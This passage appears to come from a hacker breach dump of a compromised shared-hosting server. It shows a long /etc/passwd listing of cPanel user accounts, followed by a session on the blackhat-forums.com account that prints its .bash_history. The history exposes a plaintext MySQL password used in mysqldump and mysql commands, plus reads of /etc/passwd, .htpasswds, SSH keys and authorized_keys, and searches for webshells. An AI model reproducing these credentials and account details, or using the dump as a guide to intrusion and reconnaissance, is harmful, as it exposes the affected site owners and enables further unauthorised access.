thecunt:x:32190:32192::/home/thecunt:/usr/local/cpanel/bin/noshell 28512 thecunt2:x:32191:32193::/home/thecunt2:/bin/false 28513 thegenes:x:32192:32194::/home/thegenes:/usr/local/cpanel/bin/noshell 28514 thehomei:x:32193:32195::/home/thehomei:/usr/local/cpanel/bin/noshell 28515 thirteen:x:32194:32196::/home/thirteen:/usr/local/cpanel/bin/noshell 28516 thoiaotr:x:32195:32197::/home/thoiaotr:/usr/local/cpanel/bin/jailshell 28517 tht:x:32196:32198::/home/tht:/usr/local/cpanel/bin/noshell 28518 tijuanag:x:32197:32199::/home/tijuanag:/usr/local/cpanel/bin/noshell 28519 timf:x:32198:32200::/home/timf:/usr/local/cpanel/bin/noshell 28520 totalorg:x:32201:32203::/home/totalorg:/usr/local/cpanel/bin/noshell 28521 tweedles:x:32202:32204::/home/tweedles:/usr/local/cpanel/bin/noshell 28522 vn411:x:32207:32209::/home/vn411:/usr/local/cpanel/bin/jailshell 28523 vozalta:x:32209:32211::/home/vozalta:/usr/local/cpanel/bin/noshell 28524 waliber:x:32210:32212::/home/waliber:/usr/local/cpanel/bin/noshell 28525 walkowia:x:32211:32213::/home/walkowia:/usr/local/cpanel/bin/noshell 28526 wowtest:x:32214:32216::/home/wowtest:/usr/local/cpanel/bin/noshell 28527 xtreme:x:32217:32219::/home/xtreme:/usr/local/cpanel/bin/noshell 28528 xtremeim:x:32218:32220::/home/xtremeim:/usr/local/cpanel/bin/noshell 28529 steelerp:x:32221:32223::/home/steelerp:/usr/local/cpanel/bin/noshell 28530 ldap:x:55:55:LDAP User:/var/lib/ldap:/bin/false 28531 joke:x:32225:32227::/home/joke:/usr/local/cpanel/bin/jailshell 28532 anastas:x:32226:32228::/home/anastas:/usr/local/cpanel/bin/noshell 28533 pilihanr:x:32229:32231::/home/pilihanr:/usr/local/cpanel/bin/jailshell 28534 boylan:x:32230:32232::/home/boylan:/usr/local/cpanel/bin/noshell 28535 postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash 28536 clanexe:x:32234:32236::/home/clanexe:/usr/local/cpanel/bin/noshell 28537 thechart:x:32239:32241::/home/thechart:/usr/local/cpanel/bin/noshell 28538 dmgrafix:x:32243:32245::/home/dmgrafix:/usr/local/cpanel/bin/jailshell 28539 startup:x:32251:32253::/home/startup:/usr/local/cpanel/bin/jailshell 28540 clamav:x:32010:32012::/usr/local/clamav:/bin/false 28541 helz0ne:x:32258:32260::/home/helz0ne:/usr/local/cpanel/bin/jailshell 28542 teamblam:x:32259:32261::/home/teamblam:/usr/local/cpanel/bin/noshell 28543 thegyg:x:32261:32263::/home/thegyg:/usr/local/cpanel/bin/noshell 28544 infuse:x:32262:32264::/home/infuse:/usr/local/cpanel/bin/noshell 28545 caminoen:x:32264:32266::/home/caminoen:/usr/local/cpanel/bin/noshell 28546 yeskunic:x:32266:32268::/home/yeskunic:/usr/local/cpanel/bin/jailshell 28547 spotpetc:x:32268:32270::/home/spotpetc:/usr/local/cpanel/bin/jailshell 28548 stags:x:32273:32275::/home/stags:/usr/local/cpanel/bin/noshell 28549 thecolle:x:32274:32276::/home/thecolle:/usr/local/cpanel/bin/noshell 28550 quickpos:x:32276:32278::/home/quickpos:/usr/local/cpanel/bin/noshell 28551 brian:x:32277:32279::/home/brian:/usr/local/cpanel/bin/noshell 28552 cnation:x:32280:32282::/home/cnation:/usr/local/cpanel/bin/noshell 28553 pittsche:x:32283:32285::/home/pittsche:/usr/local/cpanel/bin/noshell 28554 stockegg:x:32285:32287::/home/stockegg:/usr/local/cpanel/bin/jailshell 28555 hangar7:x:32286:32288::/home/hangar7:/usr/local/cpanel/bin/noshell 28556 digital:x:32287:32289::/home/digital:/usr/local/cpanel/bin/noshell 28557 sands:x:502:502::/home/sands:/usr/local/cpanel/bin/noshell 28558 jon:x:511:511::/home/jon:/usr/local/cpanel/bin/jailshell 28559 anderson:x:515:515::/home/anderson:/usr/local/cpanel/bin/noshell 28560 darkwiza:x:518:518::/home/darkwiza:/usr/local/cpanel/bin/jailshell 28561 woorpl:x:519:519::/home/woorpl:/usr/local/cpanel/bin/jailshell 28562 ruchanie:x:520:520::/home/ruchanie:/usr/local/cpanel/bin/jailshell 28563 theobama:x:523:523::/home/theobama:/usr/local/cpanel/bin/jailshell 28564 filmy:x:524:524::/home/filmy:/usr/local/cpanel/bin/jailshell 28565 jnitrous:x:525:525::/home/jnitrous:/usr/local/cpanel/bin/noshell 28566 annasrec:x:526:526::/home/annasrec:/usr/local/cpanel/bin/noshell 28567 alden:x:527:527::/home/alden:/usr/local/cpanel/bin/noshell 28568 xomloani:x:528:528::/home/xomloani:/usr/local/cpanel/bin/jailshell 28569 qontribu:x:533:533::/home/qontribu:/usr/local/cpanel/bin/noshell 28570 bytesec:x:535:535::/home/bytesec:/usr/local/cpanel/bin/jailshell 28571 thestate:x:536:536::/home/thestate:/usr/local/cpanel/bin/noshell 28572 roofseal:x:538:538::/home/roofseal:/usr/local/cpanel/bin/noshell 28573 noisecha:x:539:539::/home/noisecha:/usr/local/cpanel/bin/jailshell 28574 coeparkg:x:540:540::/home/coeparkg:/usr/local/cpanel/bin/jailshell 28575 shoutbox:x:541:541::/home/shoutbox:/usr/local/cpanel/bin/jailshell 28576 avahi-autoipd:x:101:104:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin 28577 findserv:x:544:544::/home/findserv:/usr/local/cpanel/bin/noshell 28578 theobam:x:546:546::/home/theobam:/usr/local/cpanel/bin/jailshell 28579 johnmcca:x:551:551::/home/johnmcca:/usr/local/cpanel/bin/noshell 28580 ronpaulf:x:552:552::/home/ronpaulf:/usr/local/cpanel/bin/noshell 28581 mikehuck:x:553:553::/home/mikehuck:/usr/local/cpanel/bin/noshell 28582 twogrow:x:555:555::/home/twogrow:/usr/local/cpanel/bin/noshell 28583 thatsjus:x:556:556::/home/thatsjus:/usr/local/cpanel/bin/noshell 28584 free:x:557:557::/home/free:/usr/local/cpanel/bin/jailshell 28585 nnomypor:x:558:558::/home/nnomypor:/usr/local/cpanel/bin/noshell 28586 nsprogr:x:559:559::/home/nsprogr:/usr/local/cpanel/bin/noshell 28587 goranda:x:560:560::/home/goranda:/usr/local/cpanel/bin/noshell 28588 bhserbia:x:561:561::/home/bhserbia:/usr/local/cpanel/bin/noshell 28589 nacional:x:562:562::/home/nacional:/usr/local/cpanel/bin/noshell 28590 racmusic:x:563:563::/home/racmusic:/usr/local/cpanel/bin/noshell 28591 werecord:x:565:565::/home/werecord:/usr/local/cpanel/bin/noshell 28592 asmdance:x:566:566::/home/asmdance:/usr/local/cpanel/bin/jailshell 28593 prevent:x:567:567::/home/prevent:/usr/local/cpanel/bin/jailshell 28594 unit3:x:568:568::/home/unit3:/usr/local/cpanel/bin/noshell 28595 adamdixo:x:569:569::/home/adamdixo:/usr/local/cpanel/bin/noshell 28596 obskurar:x:570:570::/home/obskurar:/usr/local/cpanel/bin/noshell 28597 mp3wire:x:572:572::/home/mp3wire:/usr/local/cpanel/bin/noshell 28598 coolpenn:x:574:574::/home/coolpenn:/usr/local/cpanel/bin/jailshell 28599 albacrew:x:576:576::/home/albacrew:/usr/local/cpanel/bin/noshell 28600 albahost:x:577:577::/home/albahost:/bin/bash 28601 albaip:x:578:578::/home/albaip:/usr/local/cpanel/bin/noshell 28602 albakafe:x:579:579::/home/albakafe:/usr/local/cpanel/bin/noshell 28603 albalive:x:580:580::/home/albalive:/bin/bash 28604 albanota:x:581:581::/home/albanota:/usr/local/cpanel/bin/noshell 28605 albwarez:x:582:582::/home/albwarez:/usr/local/cpanel/bin/noshell 28606 alprofil:x:583:583::/home/alprofil:/usr/local/cpanel/bin/noshell 28607 arena:x:584:584::/home/arena:/usr/local/cpanel/bin/jailshell 28608 bashkima:x:586:586::/home/bashkima:/usr/local/cpanel/bin/noshell 28609 burma:x:587:587::/home/burma:/usr/local/cpanel/bin/noshell 28610 centarza:x:588:588::/home/centarza:/usr/local/cpanel/bin/noshell 28611 cutii:x:589:589::/home/cutii:/usr/local/cpanel/bin/noshell 28612 dibra:x:591:591::/home/dibra:/usr/local/cpanel/bin/noshell 28613 dizajn:x:592:592::/home/dizajn:/usr/local/cpanel/bin/noshell 28614 drhajr:x:593:593::/home/drhajr:/usr/local/cpanel/bin/noshell 28615 freshfru:x:594:594::/home/freshfru:/usr/local/cpanel/bin/noshell 28616 islamv:x:596:596::/home/islamv:/usr/local/cpanel/bin/noshell 28617 lali:x:597:597::/home/lali:/usr/local/cpanel/bin/noshell 28618 llokumja:x:598:598::/home/llokumja:/usr/local/cpanel/bin/noshell 28619 makpoker:x:599:599::/home/makpoker:/usr/local/cpanel/bin/noshell 28620 malocom:x:600:600::/home/malocom:/usr/local/cpanel/bin/noshell 28621 nasirc:x:601:601::/home/nasirc:/usr/local/cpanel/bin/noshell 28622 nehat:x:602:602::/home/nehat:/bin/false 28623 puthja:x:603:603::/home/puthja:/usr/local/cpanel/bin/noshell 28624 radiohar:x:604:604::/home/radiohar:/usr/local/cpanel/bin/noshell 28625 sejdiua:x:605:605::/home/sejdiua:/usr/local/cpanel/bin/noshell 28626 shkupi:x:606:606::/home/shkupi:/usr/local/cpanel/bin/jailshell 28627 shkupih:x:607:607::/home/shkupih:/usr/local/cpanel/bin/noshell 28628 shkupim:x:608:608::/home/shkupim:/usr/local/cpanel/bin/noshell 28629 shkupimu:x:609:609::/home/shkupimu:/usr/local/cpanel/bin/noshell 28630 shkupit:x:610:610::/home/shkupit:/usr/local/cpanel/bin/noshell 28631 udashuri:x:611:611::/home/udashuri:/usr/local/cpanel/bin/noshell 28632 zbavitu:x:612:612::/home/zbavitu:/bin/bash 28633 zbvinfo:x:614:614::/home/zbvinfo:/usr/local/cpanel/bin/noshell 28634 zemrach:x:616:616::/home/zemrach:/usr/local/cpanel/bin/noshell 28635 arienai:x:618:618::/home/arienai:/usr/local/cpanel/bin/noshell 28636 zone:x:620:620::/home/zone:/bin/bash 28637 cxcscans:x:621:621::/home/cxcscans:/usr/local/cpanel/bin/noshell 28638 mangaemp:x:622:622::/home/mangaemp:/usr/local/cpanel/bin/noshell 28639 servant:x:623:623::/home/servant:/usr/local/cpanel/bin/noshell 28640 tube:x:624:624::/home/tube:/bin/bash 28641 realwa:x:625:625::/home/realwa:/usr/local/cpanel/bin/noshell 28642 thepcguy:x:626:626::/home/thepcguy:/usr/local/cpanel/bin/noshell 28643 dashuri:x:631:631::/home/dashuri:/usr/local/cpanel/bin/jailshell 28644 ready:x:632:632::/home/ready:/usr/local/cpanel/bin/noshell 28645 munin:x:32288:32290::/home/munin:/bin/bash 28646 jorde:x:634:634::/home/jorde:/usr/local/cpanel/bin/jailshell 28647 satmonst:x:635:635::/home/satmonst:/usr/local/cpanel/bin/jailshell 28648 earn:x:636:636::/home/earn:/usr/local/cpanel/bin/noshell 28649 alhawzan:x:637:637::/home/alhawzan:/usr/local/cpanel/bin/noshell 28650 topshiac:x:638:638::/home/topshiac:/usr/local/cpanel/bin/jailshell 28651 islam:x:639:639::/home/islam:/usr/local/cpanel/bin/jailshell 28652 party:x:641:641::/home/party:/usr/local/cpanel/bin/noshell 28653 ballkoni:x:642:642::/home/ballkoni:/usr/local/cpanel/bin/noshell 28654 zbvde:x:643:643::/home/zbvde:/usr/local/cpanel/bin/jailshell 28655 srpskim:x:644:644::/home/srpskim:/usr/local/cpanel/bin/noshell 28656 28657 bhf@blackhat-forums.com [/home/bhf/]# uname -a 28658 Linux sl.secureservertech.com 2.6.29.4-grsec #2 SMP Fri Jun 19 02:21:47 CDT 2009 x86_64 28659 x86_64 x86_64 GNU/Linux 28660 28661 bhf@blackhat-forums.com [/home/bhf/]# ls 28662 28663 .bashrc 28664 .bash_history 28665 .bash_logout 28666 .bash_profile 28667 .contactemail 28668 .cpaddons 28669 .cpanel 28670 .cpanel-logs 28671 .cpcpan 28672 .dns 28673 .elinks 28674 .fantasticodata 28675 .ftpquota 28676 .htpasswds 28677 .lang 28678 .lastlogin 28679 .lesshst 28680 .mc 28681 .MirrorSearch 28682 .my.cnf 28683 .pearrc 28684 .rvskin 28685 .spamassassin 28686 .spamassassinboxenable 28687 .spamassassinenable 28688 .sqmaildata 28689 .ssh 28690 .trash 28691 .zshrc 28692 access-logs 28693 code 28694 cpbackup-exclude.conf 28695 etc 28696 Haklog.txt 28697 home 28698 logs 28699 mail 28700 public_ftp 28701 public_html 28702 ssl 28703 tmp 28704 www 28705 28706 bhf@blackhat-forums.com [/home/bhf/]# cat .bash_history 28707 28708 exit 28709 cd 28710 ls 28711 tar zxvf backup-6.30.2007_16-08-31_blackhat.tar.gz 28712 ls 28713 rm -rf public_html 28714 cd backup-6.30.2007_16-08-31_blackhat/ 28715 ls 28716 cd homedir/ 28717 ls 28718 mv public_html/ /home/bhf 28719 cd .. 28720 cd 28721 cd public_html 28722 ls 28723 cd phpBB2/ 28724 nano config.php 28725 cd .. 28726 cd forums/ 28727 nano config.php 28728 ls 28729 nano conf_global.php 28730 cd 28731 nano conf_global.php 28732 cd pub* 28733 cd 28734 cd public_html/forums 28735 nano conf_global.php 28736 cd 28737 ls 28738 cd backup-6.30.2007_16-08-31_blackhat/ 28739 ls 28740 cd mysql 28741 ls 28742 mysql -u bhf_forumus -p bhf_phpb < blackhat_phpb.sql 28743 mysql -u bhf_forumus -p bhf_ipb < blackhat_ipb.sql 28744 cd 28745 chmod 755 public_html 28746 cat /proc/cpuinfo 28747 uname -r 28748 w 28749 who 28750 cat /etc/motd 28751 exit 28752 ls 28753 cd / 28754 ls 28755 uname -a 28756 cd ~ 28757 ls 28758 cd www 28759 ls 28760 cd phrack 28761 ls 28762 cd 64 28763 ls 28764 cd .. 28765 cd .. 28766 ls 28767 cd Aelphaeis 28768 ls 28769 cd .. 28770 ls 28771 cd .. 28772 ls 28773 ls -al 28774 cd www 28775 ls -al 28776 cd forums 28777 ls -al 28778 mkdir dskins 28779 wget 28780 clear 28781 wget darkpred.googlepages.com/bluexm.zip 28782 ls -al 28783 mv *.zip dskins 28784 unzip 28785 clear 28786 cd dskins 28787 ls 28788 unzip bluexm.zip 28789 wget darkpred.googlepages.com/bluemotive3.png 28790 clear 28791 ls -al 28792 mv ipb* ~ 28793 mv blue*.png ~ 28794 cd ~ 28795 ls -al 28796 mv ipb* www/forums 28797 ls -al 28798 mv blue*.png www/forums 28799 cd www/forums 28800 ls -al 28801 ls -al 28802 ls -al 28803 rm -rf dskins 28804 rm -rf ipb* 28805 ls -al 28806 mkdir tmpskin 28807 cd tmpskin 28808 wget http://darkpred.googlepages.com/BluemotiveV2.zip 28809 unzip * 28810 wget http://darkpred.googlepages.com/bluemotive3.png 28811 mv *.png ../forums 28812 cd .. 28813 ls 28814 rm -rf forums 28815 cd tmpskin 28816 ls 28817 ls -al 28818 unzip *.zip 28819 cd Blue* 28820 ls -al 28821 mv ipb* ~/www/forums 28822 clear 28823 exit 28824 w 28825 top 28826 clear 28827 ls 28828 cd www 28829 ls 28830 cd Downloads 28831 ls 28832 cd Misc 28833 ls 28834 exit 28835 cd 28836 ls 28837 ls php 28838 rm -rf php 28839 rm -rf perl 28840 ls .trash 28841 cd public_html 28842 mc 28843 cat /etc/passwd 28844 ls 28845 exit 28846 clear 28847 ls 28848 cd www 28849 ls 28850 nano index.htm 28851 nano index.htm 28852 mkdir img 28853 mv nucl*.png ./img 28854 ls 28855 mv *.png ./img 28856 mv *.gif ./img 28857 mv *.jpg ./img 28858 ls 28859 rm -rf zone-h.PNG 28860 rm -rf Ael*.PNG 28861 ls 28862 rm -rf zone*.bmp 28863 ls 28864 cd img 28865 ls 28866 cd .. 28867 ls 28868 wget darkpred.googlepages.com/index.htm 28869 rm -rf index.htm 28870 mv index.htm.1 index.htm 28871 ls 28872 ls -al 28873 exit 28874 ls 28875 cd public_html 28876 ls 28877 nano .htaccess 28878 nano .htaccess 28879 cd .. 28880 ls 28881 cd .htpasswds 28882 ls 28883 cd publi* 28884 ls 28885 nano passwd 28886 cd .. 28887 cd .. 28888 ls 28889 cd tmp 28890 ls 28891 cd analog 28892 ls 28893 cd .. 28894 cd .. 28895 ls 28896 ls 28897 ls -al 28898 cd /root 28899 cd / 28900 ls 28901 cd tmp 28902 ls 28903 cd ~ 28904 ls 28905 exit 28906 mysqldump --opt -ubhf_winter -pdj2t84h9438hfqd2h4093hfoh493q -h localhost bhf_fo 28907 rumipb > backup_fresh.sql 28908 mysqldump --opt -ubhf_winter -pdj2t84h9438hfqd2h4093hfoh493q -h localhost bhf_fo 28909 rumipb > backup_fresh.sql 28910 mysqldump --opt -ubhf_winter -pdj2t84h9438hfqd2h4093hfoh493q -h localhost bhf_fo 28911 rumipb > backup_fresh.sql 28912 28913 mysql -u bhf_winter -p dj2t84h9438hfqd2h4093hfoh493q -h localhost < backup_fresh 28914 .sql 28915 mysql -u bhf_winter -p dj2t84h9438hfqd2h4093hfoh493q bhf_ipb -h localhost < back 28916 up_fresh.sql 28917 mysql -ubhf_winter -pdj2t84h9438hfqd2h4093hfoh493q bhf_ipb -h localhost < backup 28918 _fresh.sql 28919 mysqldump --opt -ubhf_winter -pdj2t84h9438hfqd2h4093hfoh493q -h localhost bhf_ip 28920 b > backup_forum.sql 28921 mysql -ubhf_winter -pdj2t84h9438hfqd2h4093hfoh493q bhf_forumipb -h localhost < b 28922 ackup_forum.sql 28923 mysql -ubhf_winter -pdj2t84h9438hfqd2h4093hfoh493q bhf_forumipb -h localhost < b 28924 ackup_forum.sql 28925 exit 28926 mysql -ubhf_winter -pdj2t84h9438hfqd2h4093hfoh493q bhf_forumipb -h localhost < / 28927 public_html/bhf_ipb.sql 28928 mysql -ubhf_winter -pdj2t84h9438hfqd2h4093hfoh493q bhf_forumipb -h localhost < p 28929 ublic_html/bhf_ipb.sql 28930 pwd 28931 ls 28932 cd public_html/ 28933 ls 28934 cd forums 28935 pwd 28936 /home/bhf/public_html/forums 28937 who 28938 ls 28939 mv * ~/public_html/ 28940 ls 28941 cd .. 28942 pwd 28943 ls 28944 ls 28945 mv index.htm _index.htm 28946 ls 28947 vi init.php 28948 ls 28949 vi conf_global.php 28950 ls 28951 cd public_ 28952 cd public_html/ 28953 ls 28954 pwd 28955 cd devz 28956 cd devzZ 28957 ls 28958 cd forum 28959 ls 28960 cd.. 28961 cd .. 28962 touch idnex.html 28963 ls 28964 rm idnex.html 28965 touch index.html 28966 cd forum 28967 mv conf_global.php.dist conf_global.php 28968 ls 28969 chmod 777 * 28970 rm -r install/ 28971 ls 28972 ls -al 28973 cd www 28974 ls 28975 nano crap.html 28976 nano crap.htm 28977 uname -a 28978 ftp 28979 clear 28980 ping 420.no-ip.org 28981 ping 420.no-ip.org 28982 ping 420.no-ip.org 28983 ping 420.no-ip.org 28984 ping 420.no-ip.org 28985 ping darkpred.no-ip.org 28986 clear 28987 ftp 28988 ftp 28989 clear 28990 ls 28991 ftp 28992 clear 28993 nano crap.htm 28994 links 28995 clear 28996 lynx 28997 ls 28998 nano .htaccess 28999 nano .htaccess 29000 nano .htpasswds 29001 cd .htpasswds 29002 cd .htpasswd 29003 nano .htpasswds 29004 ls -al 29005 nano .htaccess 29006 cd .. 29007 ls 29008 cd .htpasswds 29009 ls 29010 cd pub* 29011 ls 29012 nano passwd 29013 exit 29014 logout 29015 ls 29016 cd .htpasswds 29017 ls 29018 cd pu* 29019 ls 29020 nano passwd 29021 cd .. 29022 cd .. 29023 ls 29024 cd www 29025 nano .htaccess 29026 clear 29027 echo hello sysadmin, happy sysadmin day, a few days later 29028 echo better late than never ;) 29029 echo "better late than never ;)" 29030 clear 29031 ls 29032 nano init.php 29033 clear 29034 logout 29035 ls 29036 cd public_html 29037 ls 29038 wget 29039 clear 29040 ls 29041 rm -rf admin 29042 rm -rf admin.php 29043 rm -rf cache 29044 rm -rf converge_local 29045 ls 29046 rm -rf install 29047 29048 rm -rf ips_kernel 29049 rm -rf jscripts 29050 rm -rf lofiversion 29051 rm -rf modules 29052 rm -rf resources 29053 rm -rf retail 29054 rm -rf skin_acp 29055 rm -rf sources 29056 rm -rf style_avatar 29057 rm -rf style_captcha 29058 rm -rf style_emoticons 29059 rm -rf style_images 29060 rm -rf upgrade 29061 ls 29062 unzip 29063 clear 29064 ls 29065 rm -rf index.php 29066 rm -rf init.php 29067 clear 29068 wget http://files-upload.com/files/569443/upload.zip 29069 ls 29070 unzip 29071 unzip update.zip 29072 ls 29073 unzip upload.zip 29074 ls 29075 ls -al 29076 rm -rf upload.zip 29077 wget http://3.download-1.files-upload.com/50/2007/10/19/05-10/0/upload.zip 29078 clear 29079 lynx 29080 clear 29081 exit 29082 clear 29083 cd public_html 29084 undelete 29085 undel 29086 ls 29087 ls 29088 unzip upload.zip 29089 clear 29090 exit 29091 cd www 29092 ls 29093 rm -rf upload.zip 29094 rm -rf upload 29095 ls 29096 clear 29097 chmod cache 0777 29098 chmod 0777 cache 29099 chmod 0777 skin_cache 29100 chmod 0777 style_images 29101 ls 29102 mkdir skin_cache 29103 chmod 0777 skin_cache 29104 rm -rf skin_cache 29105 chmod 0777 cache/skin_cache 29106 ls 29107 exit 29108 cd www 29109 ls 29110 cd .. 29111 ls 29112 cd www 29113 chmod 0777 admin 29114 exit 29115 ls 29116 man tar 29117 mkdir test 29118 touch test/lol.txt 29119 tar cvvf test.tar /test 29120 clear 29121 ls 29122 rm -rf test.tar 29123 rm -rf test 29124 clear 29125 ls 29126 clear 29127 irssi 29128 bitchx 29129 clear 29130 exit 29131 ls 29132 ls -la 29133 nano .cpanel-logs 29134 cd public_html 29135 ls -la 29136 cd .. 29137 cd public_ftp/ 29138 ls -la 29139 cd incoming/ 29140 ls -la 29141 cd .. 29142 cd .. 29143 ls 29144 cd access-logs 29145 nano access-logs 29146 ls -la access-logs 29147 cd etc 29148 ls 29149 cd blackhat-forums.com/ 29150 ls 29151 cd ../../ 29152 ls 29153 ls ../ 29154 ls ../../ 29155 cd tmp 29156 ls 29157 cd ../ 29158 ls 29159 cd public_html 29160 ls -la 29161 ls -la 29162 cd public_html 29163 ls -la 29164 uname -a 29165 exit 29166 nano .bash_history 29167 nano .bash_history 29168 exit 29169 w 29170 ls -la 29171 cd public_html 29172 ls -la 29173 grep -r . 29174 grep 29175 grep -r shell . 29176 grep -r shell . 29177 grep -r c99 . 29178 grep -r x2300 . 29179 grep -r hacked . 29180 cd /tmp 29181 ls -la 29182 ps -ef 29183 ps -aux 29184 ps aux 29185 uanem -a 29186 uname -a 29187 uname -a 29188 df 29189 free 29190 pwd 29191 ls -l 7et 29192 ls -l /etc 29193 w 29194 who 29195 /usr/bin/who 29196 ls -al 29197 cd www/ 29198 ls -al 29199 vi index_defaced.htm 29200 php -v 29201 php phpinfo(); > phpinfo.html 29202 php "phpinfo();" > phpinfo.html 29203 vi phpinfo.php 29204 vi phpinfo.php 29205 cd .. 29206 mkdir vm 29207 cd vm 29208 mkdir skel 29209 mkdir kernel 29210 cd kernel/ 29211 wget http://uml.nagafix.co.uk/uml/kernels/kernel32-2.6.28.1.bz2 29212 tar -jxvf kernel32-2.6.28.1.bz2 29213 bunzip2 kernel32-2.6.28.1.bz2 29214 cd .. 29215 cd skel/ 29216 wget http://uml.nagafix.co.uk/filesystems/CentOS-5/CentOS5-x86-root_fs.bz2 29217 bunzip2 CentOS5-x86-root_fs.bz2 29218 di 29219 id 29220 cat /proc/sys/net/ipv4/ip_forward 29221 echo 1 > /proc/sys/net/ipv4/ip_forward 29222 ls -al 29223 cd .. 29224 cd kernel/ 29225 ls -al 29226 chmod 755 kernel32-2.6.28.1 29227 ./kernel32-2.6.28.1 29228 ./kernel32-2.6.28.1 --help 29229 pwd 29230 ./kernel32-2.6.28.1 text devfs=nomount mem=64M eth0=tuntap,,,192.168.0.2 ubd0=/h 29231 ome/bhf/vm//skel/CentOS5-x86-root_fs 29232 cd .. 29233 cd .. 29234 rm -rf vm/ 29235 cd www/ 29236 ls -al 29237 mv newoldstuff/ .. 29238 ls -l ..7 29239 ls -l ../ 29240 ls -al 29241 mv ..7 newoldstuff 29242 mv newoldstuff ../ 29243 mv * ../newoldstuff/ 29244 ls -al 29245 mv ../newoldstuff/cgi-bin/ . 29246 mv ../newoldstuff/index.htm . 29247 tar xvjpf board2_3_6.zip 29248 gunzip board2_3_6.zip 29249 unzip board2_3_6.zip 29250 mv board/upload/* . 29251 ls -al 29252 chmod -R 755 * 29253 ls -al 29254 mv install/ ../ 29255 ls -al 29256 vi index. 29257 vi index.php 29258 vi conf_global.php 29259 vi conf_global.php 29260 cp -R ../newoldstuff/uploads/ . 29261 ls -l ../newoldstuff/ 29262 chmod 711 favicon.ico init.php index.php admin.php 29263 ls -al 29264 chmod 700 favicon.ico init.php index.php admin.php 29265 ls -al 29266 chmod 711 favicon.ico init.php index.php admin.php 29267 ls -al 29268 chmod 744 favicon.ico init.php index.php admin.php 29269 ls -al 29270 chmod 644 favicon.ico init.php index.php admin.php 29271 ls -al 29272 ls -l ../newoldstuff/ 29273 ls -l ../newoldstuff/interface/ 29274 ls -al 29275 ls -al 29276 mv ../install/ . 29277 mv install/ ../ 29278 ls -l cgi-bin/ 29279 cat cgi-bin/.pr0s.pl 29280 mkdir ../code 29281 mv cgi-bin/.pr0s.pl ../code/ 29282 ls -al 29283 cd .. 29284 ls -al 29285 vi .bash_profile 29286 mv access-logs www/ 29287 mv logs/ www 29288 cd www/ 29289 ls -al 29290 cd .. 29291 ls -al 29292 mv www/logs/ . 29293 ls -al 29294 mv www/access-logs . 29295 vi www/.htaccess 29296 vi newoldstuff/ghosty/.htaccess 29297 vi newoldstuff/ghosty/.htpasswd 29298 mv newoldstuff/ghosty/ www/ 29299 mv www/ghosty/ newoldstuff/ 29300 cd .. 29301 ls -al 29302 cd bhf/ 29303 ls- al 29304 ls -al 29305 ls -l cpmove.psql 29306 ls -l cpmove.psql/psql/ 29307 rm -rf cpmove.psql 29308 ls -l cpmove.psql.1218969837/ 29309 ls -l cpmove.psql.1218969837/psql/ 29310 rm -rf cpmove.psql.1218969837/ 29311 ls -l bi 29312 ls -l bim 29313 ls -l bin 29314 rm -rf bin 29315 ls -al 29316 ls -l ssl 29317 ls -a 29318 ls -al 29319 ls -l .MirrorSearch/ 29320 ls -l .mc/ 29321 ls -l .mozilla/ 29322 ls -l .mozilla/plugins/ 29323 ls -l .mozilla/extensions/ 29324 rm -rf .mozilla/ 29325 ps -ef 29326 ls -al 29327 ls -l .spamassassin 29328 vi .my.cnf 29329 rm -rf biden.jpg Saakashvili_bush.jpg 29330 cd www 29331 cd up 29332 cd uploads/ 29333 ls -al 29334 ls -al | grep php 29335 ls -al | grep html 29336 ls -al | grep pl 29337 ls -al | grep cgi 29338 ls -al | grep shtml 29339 ls -al | grep phtml 29340 ls -al | grep php3 29341 ls -al | grep php4 29342 ls -al | grep php5 29343 ls -al | grep php6 29344 ls -al 29345 ls -al profile/ 29346 cat /proc/cpuinfo 29347 uname -a 29348 cd .. 29349 cd .. 29350 ls -al 29351 vi .ssh/BlackHat 29352 vi .ssh/BlackHat.pub 29353 vi .ssh/authorized_keys 29354 vi .ssh/authorized_keys2 29355 cat $HISTTIMEFORMAT 29356 set HISTTIMEFORMAT='%h/%m - %H/%M/%S' 29357 ls -al 29358 cat .bash_history 29359 cat .bash_history 29360 exit 29361 cat .bash_history 29362 vi .bashrc 29363 vi .bash_profile 29364 history 29365 exit 29366 #1237938198 29367 history 29368 #1237938204 29369 echo $0 29370 #1237938218 29371 echo $HISTTIMEFORMAT 29372 #1237938236 29373 set HISTTIMEFORMAT='%h/%m - %H/%M/%S' 29374 #1237938238 29375 echo $HISTTIMEFORMAT 29376 #1237938240 29377 echo $0 29378 #1237938250 29379 set $HISTTIMEFORMAT='%h/%m - %H/%M/%S' 29380 #1237938252 29381 echo $HISTTIMEFORMAT 29382 #1237938364 29383 HISTTIMEFORMAT='%h/%m - %H/%M/%S' 29384 #1237938366 29385 echo $HISTTIMEFORMAT 29386 #1237938378 29387 vi .bash_profile 29388 #1237938385 29389 exit 29390 #1237938412 29391 history 29392 #1237938421 29393 vi .bash_profile 29394 #1237938450 29395 exit 29396 #1237938469 29397 history 29398 #1237938581 29399 date 29400 #1237938590 29401 vi .bash_profile 29402 #1237938639 29403 exit 29404 #1237938815 29405 history 29406 #1237938834 29407 uname -a 29408 #1237938852 29409 cat /proc/cpuingo 29410 #1237938856 29411 cat /proc/cpuinfo 29412 #1237938880 29413 pwd 29414 #1237938884 29415 ls 29416 #1237938668 29417 history 29418 #1237938723 29419 cat /etc/services 29420 #1237938728 29421 netstat -l 29422 #1237938731 29423 netstat -al 29424 #1237939759 29425 w 29426 #1237939775 29427 cat /usr/bin/w 29428 pwd 29429 chmod -R 644 *.php 29430 ls -l 29431 ls -la 29432 chmod 644 *.php 29433 ls -al 29434 ls -al ipb/ 29435 find -iname *.php -maxdepth 1 -type f -exec chmod 644 {} ; 29436 find -iname *.php -maxdepth 1 -type f -exec chmod 644 {} ; 29437 find -maxdepth 1 -iname *.php -type f -exec chmod 644 {} ; 29438 find *.php -maxdepth 1 -type f -exec chmod 644 {} ; 29439 find *.php -maxdepth 1 -type f 29440 find "*.php" -maxdepth 1 -type f 29441 find "*.php" -maxdepth 1 -type f -print 29442 find -iname "*.php" -maxdepth 1 -type f -print 29443 find -iname "*.php" -type f -print 29444 find -iname "*.php" -type f -exec chmod 644 {} ; 29445 find -iname "*.php" -type f -exec chmod 644 ``{}'' ; 29446 find -iname "*.php" -type f -exec chmod 644 {} ;\ 29447 find -iname "*.php" -type f -exec "chmod 644 {}" ; 29448 man find 29449 find -iname "*.php" -type f -exec chmod 644 '{}' \; 29450 ls -al 29451 ls -al ipb/ 29452 cd .. 29453 cd .. 29454 pwd 29455 cd .. 29456 find -iname 